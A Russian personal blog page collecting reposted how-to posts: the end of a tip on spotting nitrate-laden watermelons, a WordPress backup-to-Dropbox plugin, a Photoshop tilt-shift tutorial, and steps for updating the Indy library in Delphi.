два: волокна, которые идут от сердцевины к корочке не белые, как положено, а со всеми оттенками желтого, плотные, толстые;

три: у «неправильного» арбуза поверхность среза гладкая, глянцевая, а в «правильном» арбузе она искрится крупинками;

четыре: возьмём кусочек арбузной мякоти и разотрём в стакане воды. Если арбуз хороший, вода просто помутнеет. Если арбуз «вредный», вода станет красной или розовой.

Источник

Метки:

 
0

Храним бэкапы WordPress в DropBox

Posted by elimS on Июн 18, 2010 in WordPress
Google Buzz

Сегодня обновил WordPress до 3-й версии, после чего проглючил старый плагин  WordPress Database Backup Plugin. Пришлось его удалить. И тут я наткнулся в этом блоге на запись о плагине wp Time Machine, который создает и сохраняет копию базы данных MySQL от вашего WordPress-блога, + содержание папки  wp-content + файл .htaccess + файл конфигурации блога wp-config.php. В результате получается архив со всем важным содержимым для восстановления работоспособности блога. Полученную копию он может загружать на указанный FTP-сервер, либо на сервис Amazon S3 и самое главное на сервис Dropbox, про который уже много написано, который прост в использовании и дает достаточно много места для хранения файлов, у меня на данный момент 2.5 Гб.

20100617 gdqnebefx6xg5gpdj9m119rxct Храним бэкапы WordPress в DropBox

Просто установите плагин на своем блоге, активируйте его, зайдите в настройки, укажите адрес Email, и пароль для авторизации на сервисе Dropbox, укажите папку, куда сохранять резервные копии и нажмите на кнопку, будет создана резервная копия вашего блога, нужно будет подождать, в зависимости от объема базы данных блога и количества файлов, некоторое время, и файл с резервной копией появится в вашей папке Dropbox, откуда в случае необходимости его можно будет скопировать и восстановить блог.

Источник

Метки: , ,

 
0

Эффект tiltshift в photoshop

Posted by elimS on Июн 18, 2010 in Фото
Google Buzz

Прочитал вот на этом блоге как делается эффект tiltshift (миниатюризация или играшковисть мира. Все очень просто. Это все дело делается в photoshop.

Фінальне зображення

И так начнем. Такой эффект лучше смотрится на снимках снятых сверху вниз (группы людей, авто на трассе, домики и т.д.). Итак, открываем свое фото в фотошоп и сразу жмем клавишуQ«или пимпу на панели инструментов (Быстрая маска):

Швидка маска в фотошоп

Вообще изменений никаких не произойдет на мониторе, поэтому не пугайтесь, а сразу переходите к выбору градиента со следующими параметрами:

Вибір градієнту в фотошоп

А дальше проводим градиентом чуть ниже середины и вертикально вверх (можно зажать shift для точности):

Тільтшифт

После отпускания левой кнопки мыши должны получить следующую картину:

Червоний градієнт

Далее жмем снова «Q«или кнопку на панели инструментов для отключения режима быстрой маски и получаем выделение:

Виділення

Идем в фильтры (Filter / Blur / Lens blur) и подбираем параметры по вкусу (в основном я кручу параметр «Radius«):

Lens blur

Получаем нечто:

Фінальне зображення

Все просто, как два пальца об клавиатуру. :) Плодотворных миниатюризаций вам.

Источник

Метки: ,

 
0

Обновление Indy в Delphi

Posted by elimS on Июн 9, 2010 in Софт
Google Buzz

Помнится была необходимость обновить indy на delphi. Обновил как раз с помощью той записи которая будет  ниже. Хотя для нормальной работы всех библиотек  все равно пришлось обратиться за помощью к Пуховому, он поделился несколькми патчиками. За что ему большое спасибо. Сейчас понял что начинаю забывать весь этот процесс. Оставлю ка себе напоминание в виде следующего текста, который взят отсюда.

Актуальная версия Indy находится только в SVN репозитории разработчиков, значит нам понадобится клиент SVN под Windows. Наиболее популярным клиентом является tortoisesvn, который можно скачать на сайте разработчика. Затем устанавливаем его. Для простоты можем в настройках (после установки) указать язык интерфейса русский. Перегружаемся. Теперь выберем место, где у нас будет располагаться папка с нашими актуальными компонентами, щелкаем правой клавишей мыши на свободном месте в проводнике и выбираем пункт TortoiseSVN->Экспорт… В появившемся окне в поле URL Хранилища впишите адрес репозитория Indy “https://svn.atozed.com:444/svn/Indy10/” в поле “Папка экспорта” выберите папку куда экспортировать компоненты. Затем нажмите ОК, у вас спросят логин с паролем в поле имя пользователя впишите “Indy-Public-RO”, пароль указывать не нужно. Теперь дождитесь окончания операции.
Запустите Delphi , выберите в меню “Component”->”Install Packages”. В появившемся списке снимите галки с всех пакетов Indy. И затем удалите все пакеты Indy в этом же списке, воспользовавшись кнопкой remove. Затем откройте окно настроек среды: меню “tools->options->Library Win32″ и удалите из строки Library path пути к исходным кодам Indy. Затем добавьте в Library path 3 пути:

    1. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\System
    2. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core
    3. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols

Закройте Delphi. Далее найдите в папке, где у вас установлена Delphi исходные коды Indy. Обычно они располагаются в папке “<папка с Delphi>/sources/Indy” и удалите эту папку. Далее в папке Lib, которая располагается по адресу “<папка установки Delphi>/lib” удалите все файлы Indy (поиск по вхождению “Indy” вам в этом поможет).Теперь запустите Delphi, и откройте пакет “IndySystemX0.dpk” (где X – это ваша версия Delphi), который располагается по следующему адресу: “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\System” и скомпилируйтеего. Далее откройте пакет “IndyCoreX0.dpk” (где X- это ваша версия Delphi) из папки “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core” искомпилируйте его. Теперь откройте и скомпилируйте пакет “IndyProtocolsX0.dpk” (где X – это ваша версия Delphi) , который располагается в папке “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols“.Далее откройте пакет “dclIndyCoreX0.dpk”, который располагается в папке “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core” и установите его, также установите пакет “dclIndyProtocolsX0.dpk” из папки “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols”. Вот и все, поздравляю, теперь у вас установлена актуальная версия Indy.

Метки: ,